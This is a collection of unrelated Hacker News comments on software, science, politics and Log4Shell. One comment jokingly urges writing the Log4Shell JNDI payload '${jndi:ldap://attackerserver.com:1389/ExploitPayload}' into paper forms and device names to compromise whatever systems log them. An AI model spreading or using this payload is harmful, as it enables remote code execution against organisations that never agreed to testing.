skysight-inc/HackerNews huggingface dataset:
I think there is a distinction between useful practices and _productivity_.
Cities can do more than you might think. IIRC some cities plan to cover universal community college, and I know some have universal pre-K. Large cities have health systems.
Rust software is free of entire classes of bugs by default, by design, and the language lends itself to patterns that eliminate even more.
Bootstrap can absolutely grow beyond its clichéd defaults. Use the SCSS version, import after setting SCSS variables to remove border radii/set a custom $primary color/use a custom font, swap out FontAwesome for something like streamlinehq.com, and you suddenly have a modern-feeling website. It's an excellent place to start, even in 2021.
It will rise up to 5% if they just fixed their god damn installers.

I've installed Linux tens of times and the gui installers have NEVER left the system in a bootable state, not even when I choose the 'wipe everything' option.
Too much fun to think about the ways to get hits. All it takes is a simple string.

Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes.

Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits.

Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...

How about an official name change to the above? Anyone game?
Sure but the delta amount of time is tiny compared to the 10 years to development so OP is correct as he never asserted that they were starting from scratch
> "Taking Apple's word on it" is not a valid privacy strategy.

I respectfully disagree.

If Apple says "we don't do X", and then is shown to do X, that would be a massive PR disaster.

Whereas Amazon makes no privacy promises at all. In fact, they promise the opposite.
Somewhere on Youtube there's a Deepak Chopra interview with Sean Carroll. In those places where Deepak attempts to hare off into one of his stories, co-opting ideas from modern cosmology to support his mysticism, he comes off as foolish, not profound.

But that could just be me.
Barreleye fish
Sorry, that's not a good answer. That server needs to be locked down, absolutely, in terms of __what kinds of requests it can originate__ and what is reasonable for that request to carry. Otherwise you can end up participating in a relay attack.
Nice - last time I was looking for a decompiler this wasn't a thing. Clearly I've been out of the loop for a while.
Get a new job asap. I don't know how much energy the job sucks out of you for the job searching process. Yes, getting hired from a position in another might get you a better salary. But preparation and applying to jobs requires energy. Eventually it's better to have free energy to get an even better job and quit immediately when you have a plan of attack.
A more interesting question is Pew asking the last time people have attended a religious service. The frequency of your attendance is one way to characterize your affiliation.

Roughly a third go weekly, a third monthly or few times per year, and a third never. So there could be a whole third that are affiliated when asked, but besides Christmas mass, that's the maximum extent of their engagement.

https://www.pewforum.org/religious-landscape-study/attendanc...
What a bizarre overreaction. Between the known risk factors, and the availability of vaccines and other effective treatments, the vast majority of us have no need of luck.
As an extra question: when do we start getting data? Specifically, how long until we can start finding out if planets around other stars have oxygen, or even industrial pollutants like CFCs (my understanding is that if we see CFCs, it's almost certainly due to complex life and couldn't be a natural phenomenon. Oxygen is unfortunately more ambiguous, apparently).

Ever since I heard about JWST (I feel like it's been 8 years ago now), I was looking forward for an answer to this question. All the delays have been so painful...
I hate writing "citation needed", but, citation needed. That's a big claim.
This assumes that any given styled library will become the dominant standard.
There is a political aspect too: The reactionaries and GOP have been pushing how dangerous and horrible cities are for many years, major cities being Democratic strongholds. It was a major focus of the GOP and Trump in the last election.

It seems like if they repeat anything enough - anything - eventually people of all political stripes take it as assumed fact.
Innovations in Sensor Technology
I always look to Google trends when trying to decide upon which framework to use.

PyTorch just recently took the lead. [0] So if I were having to choose between learning the either of them, I would go with PyTorch.

[0] https://trends.google.com/trends/explore?date=all&q=tensorfl...
Maybe the allocations I was referring to came from using std::function. My point was that if you are not careful when you write software in C++ and use modern features, you will get behaviour you don't want or didn't expect.

I have no time to read the standard or keep up with it. Maybe that is what people at Google can afford to do? I'm guessing that is where you work.

I run a small business, and I have to juggle a lot more than just writing code. When I have a problem, I figure out where it's coming from, and fix it. If you run your own business I'm sure you understand that.

Not keeping up with the standard has nothing to do with ignorance or refusal, but with constraints. I also don't think it should be required to know the standard, or the syntax for features you don't need to use everyday of the top of your head. If you are not sure, look it up. That's what the internet is for.

In any case, no need to be arrogant and dismiss people with experience as stupid or ignorant, or blaming them for spreading misinformation, simply because they don't know certain syntax by heart or don't keep up with the standard.
Of course the big issue with the incremental change approach is getting stuck on local minima far far far away from the real good stuff
Well I'd probably be in the work from home group and I don't want any bidding, I just want people to stop spreading so much virus around.

And if we are talking about what I want, I want "expendable service class workers" to be paid twice as much anyway. If that's not enough to make up for a mask requirement, then I'm sure there's some alternative we can figure out.
For the time, Win 2k was also amazingly easy to install (compared to win95, dos, Linux, WinNT). It really was a revelation.

I just realized that I probably used it or win2k3 daily for nearly 10 years.
Smallpox also isn't nearly as prone to mutation as covid either.
I think they mean Dungeon Master, the architect / narrator of multiplayer role playing games. A good DM will guide the players through a well-planned story, in part by making the layers feel that they are in control of the story themselves.
>Whistleblowers like Mr. Kucera provided information indicating systemic problems continue to exist, including understaffed FAA offices charged with certification oversight responsibility for manufacturers and the continued risk of undue pressure under the FAA’s system of delegated authority.

>According to whistleblowers, GE Aviation’s GE9X engine program suffered from undue pressure on production staff acting on behalf of the FAA. For example, Mr. Kucera described being placed in an untenable position where he was responsible for conducting engine conformity tests on behalf of FAA, while also being charged with preparing GE engines to pass these same tests.

Wow.
Trying to find an authoritative source for this claim leads to a mountain of right-wing sites asserting it to be correct, along with some sites saying it is bunk. Lacking is an actual, reputable source that addresses the question. Seems like this question is more conspiracy theory than anything.
Except many of those do have reasons, those reasons are just outdated or immoral or context dependent.

The statement doesn't mean to keep the status quo, its meant to encourage tracking down the "why" before tossing things away. If a society says to not eat pigs you can't just decide to one day toss out the law. For all you know the pigs of that region are infected and will make you sick. Throwing away that status quo before tracking down why might end up making things worse.
The stated purpose of copyright is to incentivize the creation of new works. As far as I know, the man is truly dead, and won't be creating new works anytime soon. And, frankly, society would probably be better off if there was less intergenerational wealth being passed on.
It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell).

Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.

There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)

0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp...

1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
I don't want to sound like a smart ass, but I feel like a good alternative to Alexa is just doing all that yourself.

I have never had an Alexa but surely there isn't that much time saved by having it turn off lights. Siri on your iPhone can set alarms and shopping lists and presumably your phone it always around you.
I searched the records and don't find a case with Terry Rainwaters listed, and the only mentions of Hunter Hollingsworth are for felony theft, with a guilty plea, but I can't say that it's the same person.

Was this case actually filed or is this just like an exercise?
The Hubble took a little over ten years to build and develop. It's launch was postponed to 1990 because of the Challenger disaster.

> The testing process would have to be more streamlined or efficient, i would think.

Why do you automatically assume testing for a complicated and delicate machine is inefficient or not streamlined? That's a pretty bold assumption with zero evidence.

Understanding failure modes doesn't help test and validate something any faster. There's a finite number of hours in a day and components need some proscribed amount of testing.
Don't get carried away by marketing of thoughts, few folks prefer to be the mouthpiece of some grandiose concept .. if crazy ideas have followers, it becomes a cult...a cult over to.e becomes religion.

There might be some honesty / truth behind what is described but in my 2 decades of IT work, mostly ass kissers have taken home the big bucks .
But you're not getting an aluminum watch as a replacement you're getting a steel one (which costs more).

Seems fine by me?
It's used for linked data types. (Look for "Powered by Wolfram") [1]

Also see from Wolfram [2]

[1] https://support.microsoft.com/en-us/office/what-linked-data-...

[2] https://www.wolfram.com/microsoft-integration/excel/#datatyp...
The argument today is, additional Hubble(s) won't get "more science" per dollar put in. i.e. it's better to put those dollars elsewhere.

We've basically maxed out what Hubble can do. While a sharper visible light telescope would be nice, we need longer wavelengths to see "further back" in history. i.e. Webb

Another thing Hubble did was kick off Dark Energy, but then we needed different instruments to know more about the things that Hubble started. GAIA, Plank satellites are doing nutso things in that space.

All to say, Hubble is f'ing great, let's bring it home and put it in a museum to help inspire the next generation.
If anyone is interested, I maintain a list of open source vector search engine services[1].

Feel free to submit a new issues or merge request if you wish for new library added

[1] https://github.com/currentsapi/awesome-vector-search
Technical briefs take time to write and publish. Give them benefit of the doubt
I worked for a time at an Apple Authorized repair shop and watches are not repaired. They’re inspected for warrantable damage, sent to Apple, inspected again for other warrantable damage on the internals, then replaced if authorized. You’re getting a discounted watch, not an inflated repair.
Software engineer interns on their first day be like
Why not just disable or reduce the problematic notifications?
I wonder if that idea also makes sense in an organizational context. Big corporations often seem very ineffective on first sight, yet they produce something meaningful nevertheless.
Wow, that’s the first time seeing codeberg in the wild.
There’s a story about two stock brokers walking down wall street, one of them spots something on the ground and goes: “Look, a hundred dollar bill on the ground!”, the other responds: “That’s impossible, if there was a hundred dollar bill on the ground, someone would have picked it up”

While it’s not possible to predict exact movements of stocks, that doesn’t mean that finance isn’t filled with situations where someone drops money on the ground. It never stays there for long because someone picks it up, but you’ll certainly never be the one picking up anything if you don’t look.
Has there ever been serious research on the safety of "contagious vaccines"? I'm thinking of strains of problematic infectious diseases engineered to be super mild in terms of symptons, and relatively contagious.

Ethical problems and risk of mutations make this a non-starter I guess, but I'm genuinely curious.
Sorry, couldn’t help myself - https://m.youtube.com/watch?v=jVhlJNJopOQ&t=2m30s
Have you seen any high-quality data on the state of SF? It's such a political issue that I have a hard time finding anything but propaganda and rants. Real data would help understand what happens where, when, etc., rather than a general 'human feces!' alarm bell.

No American city is going to turn into Vienna! Also, it is said (maybe complete BS), the culture that makes Vienna so beautiful also produces fascists and the murder of many Vienna residents.
Likewise here, had a look around on the Weaviate website too and couldn't find much on how they are internally handling incremental updates
Perhaps I will do!

Although I am not associated with (not a member of) that organization, I do not have children of my own, at leaset knowingly to me, and do not plan to have children. I am too selfish and too lazy to have pets, house plants or children.

What I like about the organization is how Les Knight is arguing about how (common) people insist to have a right to breed, not allowing the intellectual discussion about the alternatives.

> You first.

Certainly I'm older than you, so I'll go first. And see you later! ;)
Who was the customer or class of customer that uses this string interpolation business?

Edit: also, why was this feature requested in the first place?
Surely Python gets that honor over Go. As much as I like Go, Rust, C, over Python, I would never say the reason is readability.
"Google asked its more than 150,000 employees to upload their vaccination status to its internal systems, whether they plan to come into the office or not"

That's the important bit. Government can't do such a thing, but a public company can - it's not restrained by the Bill of Rights. Even though courts have voided the order, they can't tell companies what to do and in effect the courts' decision is being ignored. This precedent is dangerous. Soon all these corps demand to get a booster every 6 months (regardless of whether you gobto office) and you'll have to comply, unless you're rich.
Project Zero does publish writeups for Chrome bugs. https://googleprojectzero.blogspot.com/2019/04/virtually-unl... is one example.

Disclaimer: I am a Chrome developer.
It’s a sad fact that the US always needs to create an enemy to fight … look at the wars we got involved, the lives and money costed … we should get out of this type of traps …
https://rhasspy.readthedocs.io/
https://github.com/rhasspy/rhasspy
Inflation is calculated in a different way in the US and in the EU.
If the calculation was the same, the inflation number would be quite similar.
Agreed. Exceptions tend to trivially respect the Liskov substitution principle and generally hold little state besides a debugging string. It's when you subclass an object as a method of code reuse that you start running into problems.
> Are there any desktop apps delivered like this yet? Any operating systems or some sort of runtimes (browsers?) that support them?

Ever heard of apparmor?

That's per application security profiles, distributed with any applications on many Linux distributions.
I try to do this, but the problem is then you are even more responsive to the notifications because they happen so rarely
Yes lot of good laws can't be implemented because it'd do more harm to actually implement them in earnest. Ie Indian govt decided to reward people for catching snakes, but people started to raise snakes and when program ended they released all leftovers to wild, worsening the situation.
> Cities are hitting RECORD homicides though.

It's a real crisis and horrible for the victims. But ... very few people are murdered - it's just a rare thing regardless - and afaik most by people they know.

> Does the data show that suburbia is suffering anywhere near as bad of a spike?

Based on the Washington Post story on the FBI report that I read, as I recall, it was pretty much everywhere. Of course a suburban township with 1 murder last year and 2 this year has doubled its homicide rate.
I don't know. Making constraints optional is the way it works in all the other languages I use.
CalVer is useful for Ubuntu. But not because it's stable, just the opposite:

It's useful for Ubuntu, because each Ubuntu release is a hodgepodge of lots of unrelated updates. Some will be breaking, some will be fine.
What a bizarre situation.

For what it's worth, Google Homes don't have this drop-in feature. You can make calls and make announcements, but both require the person on the other end to actively answer or respond.
If the X.org crashes then you lose all of your work. Same as your compositor. The difference is that your WM is just a client to the X server and so can crash and restart without affecting other clients.
Are you surprised? People don’t understand compounding investment returns either.

4 megabits! That would be considered fast 25 years ago.
Well, if you're using an adblock with JS disabled, you may sleep well.
Ask HN: What's Your Startup Doing for End User IT?
In the age of the fully remote office, have you hired a Director of IT? Working with an outsource IT company? Not worrying about IT in general? Specifically wondering around user laptops and devices, resetting passwords, etc. not data center IT.
I don't think it's in this direction: negative interest rates means that banks lose money when they let their money on ECB account so they have to use it somewhere else. Here, they use it to buy dollars.
I imagine it's also the fact that you are rewarded for working on complicated projects that impact the bottom line positively.

Driving this billing project is going to be thankless work, and at the end of it Amazon will lose money.

It's a lose-lose.
can not we just offer a list of articles in all beginning of all article?
Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.
I'm mostly curious to know about the long term financials and time dedicated to support. I really want to know if these are viable means of spending your time or if they make you a decent amount of cash at first, then fall off immediately. On top of that, I'd like to know hours spent. As it stands, he's definitely in a deficit when we include time spent and taxes taken out. Although if it took 40 hours to make, sure it probably wasn't so bad. If it took 80+, then yeah he's not making much more than some Wal-mart employees. Which is why I'd like to see the long term feasibility of this.
Ask HN: Non-Duolingo site to learn Hindi (for free)?
I'm not serious about learning Hindi, but I need to mix it up a bit with my neverending job search.

Any sites other than Duolingo?

I was kind of hoping someone tried something really new and interesting -- the kind of thing you could make if you didn't have to worry about selling it immediately, or ever.

Weird snafu with Duo that prompted me to post this now instead of a few minutes from now -- parts of the first lesson had me thinking I was going crazy -- the letter shown on the screen would be a 'ka' or 'kha', but the sound associated with it would be a 'ga' or 'gha' (and vice-versa).

The app actually speaks it to you automatically in some cases, and you can click the little audio button to hear it again -- which was good in this case, because 'ga' and 'ka' (and 'gha' and 'kha') are pretty darn similar if you're not hearing it in context, or if you don't know Hindi.

It's the very first lesson, and multiple questions. It makes me think Uber is entering the language learning game and doing some more sabotage.
You can like generics without requiring everything to look like Java.

(In fact, generics have been a relatively late and reluctant addition to Java. They had been at home in ML-family languages and others for ages before.)
> It's also made me wonder if there's a way for humanity to pivot to more "horizontally" scaled science.

We do a lot of that already.

The purpose of flagship observatories is to do what can't be done with many cheap, easily produced instruments.
We are only talking about backend performance so I don't really think it's fair to include network latency on this metric, it can also hugely varied based on your current network/location setup
Because other countries like Singapore or Japan, which have world class cities, actually care about their citizens and provide them with real support. This kind of dogmatic thinking in America will literally be the end of it.

"Beatings will continue until morale improves", was not meant to be advice.
I do not think Mr. Les Knight is associated with the Rothschild's family.

I think Mr. Knight is really smart and consequent thinker.

I seriusly propose to nominate him with the Nobel Peace Price for his truly caring about the Environment, the Ecology, the Nature and future of Earth.
Literally the very first critical security bug in this report came from a member of Project Zero.
impressive graphql api for norm jokes
What? No it's not. It's public knowledge that he is some philipino dude. And there has been much criticism against him, search the /r/normmacdonald subreddit you will find plenty
> no visible homelessness

A key word is visible. Some places solve the problem by hiding the homeless, chasing them to poor neighborhoods or into shelters, etc. (It's the same solution suburbs and small towns use, in a way: Bus them to the city. Then they criticize cities for the homeless problem.)
Mao XingYun a Lead Graphics Programmer at Tencent Commit Suicide for Depression
github: https://github.com/QianMo RIP

ps: chainese translation of "realtime readering" may be delay
Yes, but without generics it's hard to do much useful with lambdas in your statically typed language. You can't even write a filter or map function.

And eg Go's old workaround for polymorphic sorting functions was just atrocious: it was rather convoluted, and only really worked at all for in-place sorting.
Maybe because they call it full-self-driving... but I guess we don't need to see the code to know that they are lying.
So unless I misread this, the Euro banks are lending the Fed a bunch of money and only asking for 0.05% interest?
My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s...
When the working class exits this system en masse into auditable, borderless, transparent hard money- cryptocurrency.